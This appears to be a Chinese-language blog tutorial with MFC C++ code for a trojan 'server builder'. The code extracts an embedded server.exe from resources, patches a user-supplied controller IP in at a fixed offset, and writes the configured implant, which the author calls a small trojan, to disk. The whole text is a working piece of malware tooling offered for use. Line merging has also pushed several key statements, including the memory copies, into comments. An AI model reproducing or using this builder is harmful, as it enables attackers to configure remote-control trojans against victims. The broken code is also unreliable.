直接贴代码了，在此之前最重要的是导入资源，把刚才的server.exe导入进来，点工程里的资源-添加资源-导入
找到 server.exe  资源类型随便写，我设置的是exe

生成服务端按钮响应函数

void CServerBuilderDlg::OnBnClickedButton1()
{
// TODO: 在此添加控件通知处理程序代码
UpdateData(TRUE); 
  CString str1 = _T("");//判断两个编辑框是否为空 CString str2= _T("");
GetDlgItem(IDC_EDIT_ControlIp)->GetWindowText(str1);//类型转换
GetDlgItem(IDC_EDIT_ControlPort)->GetWindowText(str2);
if(str1.IsEmpty()||str2.IsEmpty())
{
MessageBox(_T("请填写完整的ip和端口"),_T("警告"));
return;
}

HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize, dwWritten;
HANDLE hFile;
LPBYTE p; //开辟内存空间
TCHAR szIp[16]={0}; //接收控件变量，也就是ip地址

// 查找所需的资源，这三个函数FindResource查找刚才的server.exe程序 
hResInfo = FindResource(NULL,MAKEINTRESOURCEW(IDR_EXE1), _T("EXE"));
if (hResInfo == NULL)
MessageBox(_T("FindResource出错"),_T("提示"),0);

// 获得资源尺寸
dwSize = SizeofResource(NULL, hResInfo);

// 装载资源，把server.exe装载
hResData=LoadResource(NULL,hResInfo);
if(hResData==NULL)
MessageBox(_T("LoadResource出错"),_T("提示"),0);

// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL)
MessageBox(_T("分配内存失败！"), _T("错误"), MB_OK | MB_ICONINFORMATION);

// 复制资源数据，将server.exe复制到开辟的p空间里 CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
// 获取IP和port，并复制数据，将我设置的ip拷贝到数组szip中
GetDlgItem(IDC_EDIT_ControlIp)->GetWindowTextW(szIp,16);

MessageBox(szIp,_T("提示"),0);

//将unicode码转换为多字节码，这一点是最重要的，耗了我好几天，又是宽字节窄字节的
//问题，在server.exe中ip是窄字节，但是szip这个数组是宽字节，必须转换一下 //将szip数组中宽字节ip地址，拷贝到pstext中变成窄字节
//转换函数是widechartomultibyte，msdn自己看看就好
DWORD dwNum = WideCharToMultiByte(CP_OEMCP,NULL,szIp,-1,NULL,0,NULL,FALSE);
char *psText;
psText = new char[dwNum];
if(!psText)
{
delete []psText;
}
WideCharToMultiByte (CP_OEMCP,NULL,szIp,-1,psText,dwNum,NULL,FALSE);
//这里是最重要的，要把pstext中的ip地址拷贝到server.exe中，代替其中的xxx.xxx.
//这个ip地址，0xf04是十六进制，其实就是十进制的3844 ，p是刚才开辟的空间首地址
//p+0xf04就是server.exe中ip首地址，dwnum是拷贝长度  CopyMemory((LPVOID)(p + 0xf04),(LPCVOID)psText,dwNum);
// 创建文件
/*
//另一种创建文件的方法
CFileDialog dlg(FALSE,_T("exe"), _T("server.exe"), OFN_OVERWRITEPROMPT,_T("可执行文件|*.exe"), NULL);
if(dlg.DoModal () != IDOK)
return;*/
//自动在d盘创建好一个小马servercode.exe和server.exe内容一样，只是xxx.xxx.xxx.xx //x变成了我们拷贝的地址
hFile=CreateFile(_T("D:\\ServerCode.exe"),GENERIC_WRITE,0,NULL,OPEN_ALWAYS,0, NULL);
if(hFile==NULL)
{
MessageBox(_T("CreateFile出错"),_T("提示"),0);
GlobalFree((HGLOBAL)p);
}

//向文件内写入信息,把p空间内的数据写入
WriteFile(hFile,(LPCVOID)p,dwSize,&dwWritten,NULL);

// 收尾工作，释放资源
CloseHandle(hFile);
GlobalFree((HGLOBAL)p);
return ;
/*CFileDialog dlg(FALSE,_T("exe"), _T("server.exe"), OFN_OVERWRITEPROMPT,_T("可执行文件|*.exe"), NULL);
if(dlg.DoModal () != IDOK)
return;*/
}

打开servercode.exe  ip地址已经改动